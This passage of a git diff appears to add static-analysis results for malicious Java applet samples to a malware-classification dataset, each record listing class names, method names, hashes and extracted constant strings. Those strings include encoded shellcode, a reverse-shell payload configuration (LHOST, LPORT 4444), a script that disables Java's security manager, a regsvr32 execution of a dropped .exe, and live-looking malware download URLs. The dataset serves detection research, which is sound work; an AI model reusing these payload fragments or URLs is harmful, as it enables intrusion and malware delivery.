["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pj,0L,PN,pN,pN,pn,pL,PM,9K,Kc,0U,PG,p1,OU,4o,QF,Pe,P3,0g,pL,KS,pv,ll,KP,pW,ln,Ml,KQ,xw,Pm,Pc,Md,Lw,Cq,dV,cJ,6h,kh,sl,Ku,8w,xn,kZ,Wq,zD,Dp,YI,xL,Ou,Pg,pe,Pi,rl,9c,XR,O2,Nu,Pg,pU,8R,U1,bP,l2,MQ,Di,ov,vl,Kk,Xk,XP,yE,PU,P3,0L,Kh,Wq,WO,pg,OC,0p,ux,zQ,Wp,Wr,go,pg,OW,pd,5J,Zn,kx,oC,op,3K,yk,1x,lv,d3,1g,p7,pL,Kk,ls,a0,R2,sp,hS,47,qU,P3,0k,Or,vv,lC,jQ,IP,Q0,RL,KV,bR,sa,SO,pW,Ku,PP,ux,zk,1a,kK,LT,np,e1,hq,uP,us,3N,cZ,Kw,xO,yg,sY,Wc,sS,4V,Nc,UP,xc,U8,FQ,SE,Xw,ps,kM,ZK,qU,T0,0k,8Q,US,0V,SO,0R,pb,p3,cs,gP,Py,oQ,Ft,Pm,SK,HG,pP,uu,Vs,Zc,1V,3k,OV,6v,dq,J6,9O,sx,BS,4Q,QO,pf,Zu,Pb,UN,Tk,O2,vw,xp,Qc,fn,kQ,ew,LL,KS,Dw,Eb,XV,cz,Ur,vL,K3,FQ,0W,sX,uP,3o,90,IQ,QL,mu,Sx,Ev,Sy,K6,om,nt,P5,hX,rb,TW,xK,qx,K4,Mc,3X,Zq,Pz,KZ,Qu,kG,ob,U9,ws,nN,kQ,Nw,TT,Cy,M3,Vn,kv,lp,Kn,kQ,NW,lu,SI,Ml,KS,4N,kv,cx,EN,KS,nF,9O,3m,8s,0K,Ok,OK,ON,nR,nT,Nj,Lo,hy,nl,J4,Ns,NN,8K,RQ,cd,sk,zL,Jq,KT,vE,J4,oD,0b,Qe,1r,EC,Zg,p2,Hp,ts,DB,PV,ZF,O6,OS,UC,HB,Tc,UQ,br,Ns,Q2,L4,nQ,y0,g2,NR,OQ,bs,U2,LQ,yS,Cb,T6,N1,sP,op,mF,Op,iR,NQ,v2,Ot,o3,ER,Sp,1D,nP,ha,db,Mp,lT,ob,N6,Pv,PC,Qp,1f,PV,Vu,bd,pF,Q4,sV,QV,X4,2V,PV,Pp,0S,Sq,ZT,ps,Up,0p,0d,pw,F4,p4,qP,RW,BF,PT,qq,sP,3R,Ct,x4,tp,WP,eC,Sd,uT,vu,i3,Vd,r6,WB,xS,TQ,q6,YQ,ue,dw,Gs,Rr,B6,96,Y6,Qu,dp,3S,VC,Tv,TE,f1,Jv,Pv,QV,Pt,ps,VT,pt,xF,P3,0u,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e7bf631cc9a63e30015f985a23c1690cbe81efac", "file_name": "java_malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480", "_id": "7db81be3-738d-43d6-8eb3-e589ed1bdbe1", "score": 0, "entropy": 5.994309534620021, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "96:hFFlFIF52/nBJj4yi2R79kdRxC92XQjt9bKsCn:1lC5SBVsK7ERxEkQpRKx", "sha256": "ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480", "md5": "2fd0acbb0fe9cde439bae69956fad244", "parent_sha256": "ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480"}} \ No newline at end of file diff --git a/java_classification/data/malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015.results b/java_classification/data/malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015.results new file mode 100755 index 0000000..268743d --- /dev/null +++ b/java_classification/data/malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "r", "class_name": "load/JarMain", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["ALLATORIxDEMOxUnrecomClassLoader", "findClass", "class", "class", "loadClass", "", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "getResourceAsStream", "main", "class", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader"], "minor_version": 0, "const_pool_count": 306}}, "_id": "2e8c8840-5b7c-4514-b719-3d56c700cc39", "verbose": {"java": {"signatures": ["Ljava/util/HashMap;", "Ljava/util/HashMap;"], "constant strings": ["", "t2", "Q\\x16LDt4D\\x18\\x14\\x02H\\x18", "9sJ\\x05\\x056v![\\x1f`,\\x0e!\\x0f=", "Y", "X", "\\x1c\\x1aV\\x10N\\x05", ":0\\x18M\\x01w?h$_\\x18\\x1d\\x1d[\\x1eQY", "X\\x11Z\\x02I=v\\x11Z\\x19R\\x1eU\\x1dV\\x11Z\\x19R\\x1eU\\x1cW\\x1fT\\x11Z\\x14_^\\x15:q\\x11Z\\x02I=v\\x11Z\\x19R\\x1eU\\x1dV\\x11Z0R\\x1dV\\x1fT\\x1cW\\x12Y\\x17\\\\]\\x169r\\x12Y\\x01J>u\\x12Y\\x1aQ\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fT\\x1cW\\x12Y\\x17\\\\]\\x169r\\x11s\\x02J>u\\x12Y\\x1aQ\\x1dU\\x1dU\\x11Y\\x1aQ\\x1eV\\x1fT\\x1cT\\x11Y\\x14_^\\x16:q\\x11Y\\x02I>u\\x11Z\\x19Q\\x1dV\\x1eU\\x12Y\\x1aR7U\\x1fT\\x1cW\\x12Y\\x17_]\\x159q\\x12Y\\x01I>u\\x12Z\\x1aR\\x1dV\\x1dU\\x12Z\\x1aR\\x1dU\\x1fW\\x1cW\\x11Y\\x17\\\\]\\x169r\\x12Y\\x02`=u\\x12Y\\x1aQ\\x1dV\\x1dV\\x11Y\\x19Q\\x1dV\\x1cT\\x1cW\\x11Z\\x14\\\\]\\x159r\\x11Y\\x02J=v\\x12Y\\x1aR\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dU5W\\x1cW\\x12Y\\x17\\\\]\\x159q\\x12Z\\x02I>v\\x11Z\\x1aR\\x1dU\\x1eU\\x11Y\\x1aR\\x1eU\\x1fW\\x1cT\\x12Z\\x14_]\\x169r\\x12Y\\x01J=_\\x11Y\\x1aQ\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fT\\x1cW\\x12Y\\x17\\\\]\\x169r\\x12Y\\x01J>u\\x12Y\\x1aQ\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fW6T\\x126U\\x1a\\x08Ez3F\\x10N\\x04>7KY{\\x1dQ\\x17J\\x1a@\\x10\\x1a>_\\x10J\\x07_\\x16F\\x16E\\\\\\x0b\\x037b\\x12=d\\'Qu\\x11s\\x19Q\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fT\\x1cW\\x12Y\\x17\\\\]\\x169r\\x12Y\\x01J>u\\x12Y\\x1aQ\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fT\\x1cT8Z\\x17\\\\]\\x169r\\x12Y\\x01J>=F\\rJK\\x12YI\\x02EW[\\x1dQ\\x17K\\x1bN\\x1e\\x1c\\x1aX\\x11]\\x169r\\x12Y\\x01J>u\\x12Y\\x19{\\x1eV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fT\\x1cW\\x12Y\\x17\\\\]\\x169r\\x12Y\\x01J>u\\x12Y\\x1aQ\\x1dV\\x1eU\\x12Y\\x1aQ\\x1dV\\x1fT\\x1cW\\x12Z=_^\\x15:q\\x11Z\\x02I=v\\x11Z\\x19R\\x1eU\\x1dV\\x11Z\\x19R\\x1eU\\x1cW\\x1fT\\x11Z\\x14_^\\x15:q\\x11Z\\x02I=v\\x11Z\\x19R\\x1e|", "{\\x17S\\x12T\\x19", "W\\x10T\\x18"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f01f7a75afa71b448bf66c96b80ea40c2df582bc", "file_name": "java_malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015", "_id": "2e8c8840-5b7c-4514-b719-3d56c700cc39", "score": 0, "entropy": 5.9743955230542385, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 11246, "ssdeep": "192:tDlBaFJgLCE5p+9vGj9RuafmhiP+yz4ylctDRxiyVSgiJC:tDm8LC0+9v89RuafmhEBe/QywgiA", "sha256": "aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015", "md5": "e4b5b4cc64362859e0b1f866e30b21e6", "parent_sha256": "aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015"}} \ No newline at end of file diff --git a/java_classification/data/malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146.results b/java_classification/data/malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146.results new file mode 100755 index 0000000..8fd6683 --- /dev/null +++ b/java_classification/data/malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "OVhUhvWZhE/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "1e98a907-e11b-4a2c-8ee2-b703967a01a1", "verbose": {"java": {"constant strings": ["OVhUhvWZhE.Payload", ".class", "/OVhUhvWZhE.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "OVhUhvWZhE.dat", "URL", "", "https:", "OVhUhvWZhE/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "OVhUhvWZhE/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "OVhUhvWZhE.PayloadTrustManager", "useFor", "java.net.URLConnection", "OVhUhvWZhE.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaeLrOzKF.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "35debc605e5da09748bc815542d61f4cf8f9886f", "file_name": "java_malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146", "_id": "1e98a907-e11b-4a2c-8ee2-b703967a01a1", "score": 0, "entropy": 6.144850729787146, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM6DUBKO+WQYaThmMux5IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tG1atmP/NvpvUrKYvCkgHzbDrDF", "sha256": "af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146", "md5": "dcf7a164d7bf3c9aaaf0e1329e12f712", "parent_sha256": "af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba.results b/java_classification/data/malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba.results new file mode 100755 index 0000000..6467737 --- /dev/null +++ b/java_classification/data/malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "9cef6a20-7833-494b-832d-1d968ce53c21", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pl,Pn,pZ,0N,pZ,0n,pl,PN,pj,08,h7,p5,PC,0s,0X,k5,Pm,99,lE,P3,0W,ps,oE,4M,qT,pe,PW,pW,pa,hD,LL,K1,Pf,lL,K4,0e,Ll,mn,k0,hU,Xh,ks,9l,Kq,PV,TN,ms,pS,LN,kU,87,Ll,KZ,WB,JU,Ts,im,8N,ou,Pg,pU,Pi,rz,Yu,8B,Ob,NE,Pe,PP,h0,uQ,bp,lB,MR,tk,OB,6L,KI,xy,xD,9S,0w,pw,pN,kJ,wW,7o,pg,O3,0s,EJ,ZS,wv,71,Wo,pW,Os,0b,Uz,ZN,kj,Os,ov,SY,Yo,qJ,LG,tv,aw,pS,0N,kk,l2,q2,rb,s3,X4,Dg,qC,0s,09,of,6T,LP,ZP,Ys,aP,RL,KD,B2,sR,cK,0g,KU,PP,uk,JN,as,Ki,lv,NU,5P,x0,et,54,Co,sj,Ke,XL,I7,sy,Ws,ss,4d,np,eb,XR,EK,vq,SU,XG,p1,Ko,zJ,aU,Tv,PL,HR,eG,pP,3o,0B,pR,p2,sa,G0,PY,ob,vV,pO,sx,xC,0a,eU,VQ,zu,QB,sk,Op,Ve,Tq,J0,Yl,Cz,bS,4q,QM,Pt,zS,0t,5l,ti,oP,V4,Hp,QP,VN,kb,Uu,lN,kt,4F,N4,8w,sy,eS,fL,Kt,6E,pg,sH,uP,3O,9c,yQ,QN,M4,CI,UW,Ci,Kt,Oo,Nv,pF,ZN,60,tu,XY,Qx,KT,M5,Sk,j7,08,kz,Qe,kg,oT,5X,gs,nn,ks,nw,Te,Sk,m1,vn,kV,lR,kn,kQ,Nu,LW,sY,MN,kS,4n,kt,CY,UN,KQ,NV,9k,s9,xK,OK,NI,oK,ON,nR,nt,NX,lm,Hk,Nl,JF,na,nK,hZ,B2,ST,s8,JN,jC,k0,64,Z4,o0,pp,s3,b2,Ls,Qw,pu,8c,Dt,44,0d,zF,OD,oS,U3,Fr,V1,zR,SU,4C,T6,NQ,y2,Nv,O1,sq,w0,iV,ME,2P,i2,N4,oQ,w2,Jp,jv,Op,nf,PT,pV,XV,Qv,P7,FF,R6,PF,QP,3v,QV,X0,rv,Pt,t4,pV,Yp,Jd,pr,BT,p0,06,Pt,vv,PT,qB,ra,up,3v,T5,f1,r6,Q4,v1,qR,wr,Dg,CQ,r6,TD,tv,QB,EF,Wr,xe,2t,p0,eT,rp,63,Qd,y4,rV,9U,60,bv,Ue,f5,45,21,vP,a3,jV,PV,Qp,0v,P3,VT,pv,Wt,p7,pW,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "774f4501a966227c03c0a7be886356ac14615de6", "file_name": "java_malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba", "_id": "9cef6a20-7833-494b-832d-1d968ce53c21", "score": 0, "entropy": 5.99176456227262, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3102, "ssdeep": "96:hFFl+9+/H4lBne6dFVuRxC92XQjt9bKsCn:1lB/4l1vdqRxEkQpRKx", "sha256": "b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba", "md5": "ca136c6908d5d1abe82a432102441cfb", "parent_sha256": "b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798.results b/java_classification/data/malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798.results new file mode 100755 index 0000000..54b75e8 --- /dev/null +++ b/java_classification/data/malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "uQcEfTK.java", "class_name": "JGXgwWYpp/uQcEfTK", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "rizVyQNrr"], "minor_version": 0, "const_pool_count": 109}}, "_id": "e0f62854-fd92-4590-8d2b-d0e6dca312e8", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.240330401209092}, "constant strings": ["\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B-\\xc0\\x80\\xc0\\x80<\\t\\x1e\\x01\\x05\\x1f\\x1f\\x05\\x03\\x02", "\\r\\x08\\x08", "\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B<\\t\\x1e\\x01\\x05\\x1f\\x1f\\x05\\x03\\x02", "\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B/\\x03\\x08\\t?\\x03\\x19\\x1e\\x0f\\t", "\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B<\\x1e\\x03\\x18\\t\\x0f\\x18\\x05\\x03\\x02(\\x03\\x01\\r\\x05\\x02"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a1f660dc0295e9a5a8dfc120dfe1fb34cb501f14", "file_name": "java_malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798", "_id": "e0f62854-fd92-4590-8d2b-d0e6dca312e8", "score": 0, "entropy": 5.832065107216479, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2372, "ssdeep": "24:bC7WHh1iyQulKVeRUfp8ssUIlsPWk8GOvUwVspyYgPBsCVD7KIJYvgPu2359nP/a:IWDiyFllRUfSssXlBkXJ0YMPDe67vp4", "sha256": "b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798", "md5": "e2040bb6a01630d010a4ccf2c1e9db49", "parent_sha256": "b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b.results b/java_classification/data/malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b.results new file mode 100755 index 0000000..fc98817 --- /dev/null +++ b/java_classification/data/malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "APfPyqs.java", "class_name": "APfPyqs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "wWYGARZs", "ZZlJMqaVe", "QcxleGe", "FZuqGHVlf", "cBAQW", "JjdZM", "lXiRvkK", "leGNYx"], "minor_version": 0, "const_pool_count": 148}}, "_id": "7e3bae12-eefa-4ce4-b93f-e468a51534c6", "verbose": {"java": {"constant strings": ["\\x1e\\x1c\\x1c", "\\x12\\x10\\x05\\x17", "\\x02\\x04\\x02\\x04", "\\xc0\\x80\\x11\\x02\\x03\\x12\\x05\\x17", "", "\\x04\\x02\\x01\\x01\\x0f\\x13", "\\xc0\\x80\\x11\\x07\\x12\\x05\\x17", "\\x04\\x02\\x0f\\x13", "\\xc0\\x80\\x11\\x12\\x05\\x17", "\\x12\\x05\\x10", "\\x13\\x04\\x11\\x12\\x14\\x1e\\x1c\\x1d\\x13\\x04\\x1b\\x05\\x10V\\x1d\\x18\\x10\\x1b"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3468710414eb855b011f36b605c29f1aed12bd5a", "file_name": "java_malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b", "_id": "7e3bae12-eefa-4ce4-b93f-e468a51534c6", "score": 0, "entropy": 5.868364646039156, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4005, "ssdeep": "96:vFlvVbfJ5vN1j9MtyshR2Ns0ZhstIpQUi:dlvZfbVCyAcNsxtIRi", "sha256": "b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b", "md5": "c9cecd4eaa0a87fd87664d10f463a0b2", "parent_sha256": "b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef.results b/java_classification/data/malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef.results new file mode 100755 index 0000000..08f8126 --- /dev/null +++ b/java_classification/data/malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "zMrpriqsE.java", "class_name": "zMrpriqsE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "callBack", "getFilePath", "order", "add", "replace", "ghj", "con", "ghj2"], "minor_version": 0, "const_pool_count": 250}}, "_id": "f7e4359a-c0f3-4204-90a4-c075cbd694a7", "verbose": {"java": {"constant strings": ["js", "applet", "this.toString = function() { \\tjava.lang.System.setSecurityManager(null); applet.callBack(); return \\'\\';};c = new Error();c.message = this;c", "", "p", "openStream", "close", "exec", "regsvr32 -s \"", "\"", "java.io.tmpdir", ".exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e5960381aa4b5889b867ceccc8a3530966aa6926", "file_name": "java_malicious/b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef", "_id": "f7e4359a-c0f3-4204-90a4-c075cbd694a7", "score": 0, "entropy": 5.731303498204436, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4427, "ssdeep": "96:4tppibyFlPR7oAbp3dgro4hbliXO3jNvfYx:4wYlPFoAtio4+ojZYx", "sha256": "b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef", "md5": "7f4ed35051e1edf87e61b0395548d6d4", "parent_sha256": "b3b3194caf097aaa1fd139f56c704d177bb871f7b1d9e42b3e0362da736e9bef"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f.results b/java_classification/data/malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f.results new file mode 100755 index 0000000..985ef9e --- /dev/null +++ b/java_classification/data/malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/cyopao", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "tekdzjxwzezmvgf", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "53d2c7b8-3872-467a-9e7a-d8455267ac38", "metadata": {"mimetype": "application/x-java-applet", "sha1": "db44e8a1506d3bb965e5f1085af64075829754b0", "file_name": "java_malicious/b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f", "_id": "53d2c7b8-3872-467a-9e7a-d8455267ac38", "score": 0, "entropy": 5.212078676081695, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6983, "ssdeep": "96:KMHi07wQ7PyXtFHPObZco8pL2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TC07wQ7Sv8+pLxhi/To55UTYwa5hGX1", "sha256": "b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f", "md5": "52760f327ba4ec2eadd16e9d9e58fbc1", "parent_sha256": "b416fd859434550900e04ab53d53ab51d73907609c58252e5605a3ddeb0a332f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08.results b/java_classification/data/malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08.results new file mode 100755 index 0000000..a0ec679 --- /dev/null +++ b/java_classification/data/malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "3a3353aa-0c41-484b-b338-2362f0908478", "verbose": {"java": {"constant strings": ["no error", "os.name", "http://iframetraff.biz/dl/loadadv681.exe", "\\\\loadnew.exe", "http://iframetraff.biz/dl/cheat.php?adv=adv681"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d8d79c62e86312a08146479078de817ad40630d9", "file_name": "java_malicious/b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08", "_id": "3a3353aa-0c41-484b-b338-2362f0908478", "score": 0, "entropy": 5.882881573217733, "libmagic": "compiled Java class data, version 45.3", "file_size": 2951, "ssdeep": "48:9JrYyss0yFlS/vJ4RyiIMTwe5Nbj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1Jem:LFlOhiIMTvATtcSkjfcGcEk51rX2oh", "sha256": "b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08", "md5": "47e88fcc9eabffd578ec01d2c705c23f", "parent_sha256": "b42cc36bb72932b4b077da51dfa38538c03ff83a20cd8d4b29a519267fa20b08"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf.results b/java_classification/data/malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf.results new file mode 100755 index 0000000..8aa9de4 --- /dev/null +++ b/java_classification/data/malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/hrkjpbhpeigzico", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "ljwhkbuqxhwjmhsait", "vifnosjgijvcyby", "xbzinqxqunrkvxb", "init", "jayluaskuhynbtrvsu", "fotkksijgpvrcduo", "butnspjxcvtgsfvd", "vtyrrdqzurqdcglgzt", "oaoqdfwjfqfyqpoxv", ""], "minor_version": 0, "const_pool_count": 261}}, "_id": "b5c2c4ce-20d8-44ed-bc3f-e6865af173b8", "verbose": {"java": {"constant strings": ["disvvsnnclvxqhxbp", "icztkykyjhisbyhqsehlorggno", "jwrq", "kdehwtfohytarudwj", "mtodcwhiwpwbvzlnsgfebcrgo", "", "pdkvabmzhxmmzguogowgvnhuhhvnho", "zaulu", "fymwxjapxdecztdpryxvslx", "efgrmvfahgcyiuciejh", "nfdrrma", "jjakv", "pli", "rhlkyilthyelmyorkdxaic", "sfuuakukegfggyxunbdlvk", "tcv", "qzqsuzzxiksarsoppd", "lvrqxqgfqreizre", "spkhpokohptcqdxmfmtayrcrzp", "xusf", "mrjmvdygqqzrhrtsydsyfxpbkdi", "ptvyeplu", "umijfdyuncyx", "tvrmdfw", "tlqvcrwiexamdeqkooibcpfenyw", "lctsplgbv", "tbcsm", "fqbnbetwgfmnqgfmfieaarjuah", "ppcpwdltvsb", "cedhibffshyfivczrcumgsp", "xzygobfxklxwcklygrvffb", "tmshkyhl", "cjmxaprtok", "sjnnzqzfdfcypejuc", "hyiupktdbdtjxo", "ihpgumwygtve", "fcohtdigipgjabohhpllolo", "bioqlhzshsfehdvjzhloldljxkqwe", "jwhtwz", "bvq", "udqlrccgoofqtkvlldqmg", "cumevrdliwirjlmlnk", "ivbtbudcnexsbbatjaoewcju", "dwfmrgbjtwqamv", "rkcnixnqfxjcgamjnklgtgkeczmcy", "gqcpmftwk", "xrzaqfmvznghotausdcfbmmzaszt", "oolxlkgjj", "momblldg", "vsoaovqktiqy", "rvdecpduqzis", "pmvwslciu", "gevuntrekbuwiwwhlktlqoovhxrr", "frvxzvgdzjflnr", "ewhkyawofkkplpbjbylfxxeyoh", "johsohbplbcyyzikmbbaepdum", "wgcboxomtmqpvzxtnmvcfuc"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6578557e4e7dcea5c50a221d40299daf73634031", "file_name": "java_malicious/b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf", "_id": "b5c2c4ce-20d8-44ed-bc3f-e6865af173b8", "score": 0, "entropy": 5.830821124704145, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5286, "ssdeep": "96:iCd8thrNxsQ+0r0UKgu3lNAm7MXssljYxitI1EV1MiUGhk:Mfjsu0qu3l+myjTx6", "sha256": "b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf", "md5": "868938e4a1cccbcc090c81c4a17d5674", "parent_sha256": "b5098f3206a8f7a57b1511fe5be22d089a888476c0e337944b0bcc1096b916cf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2.results 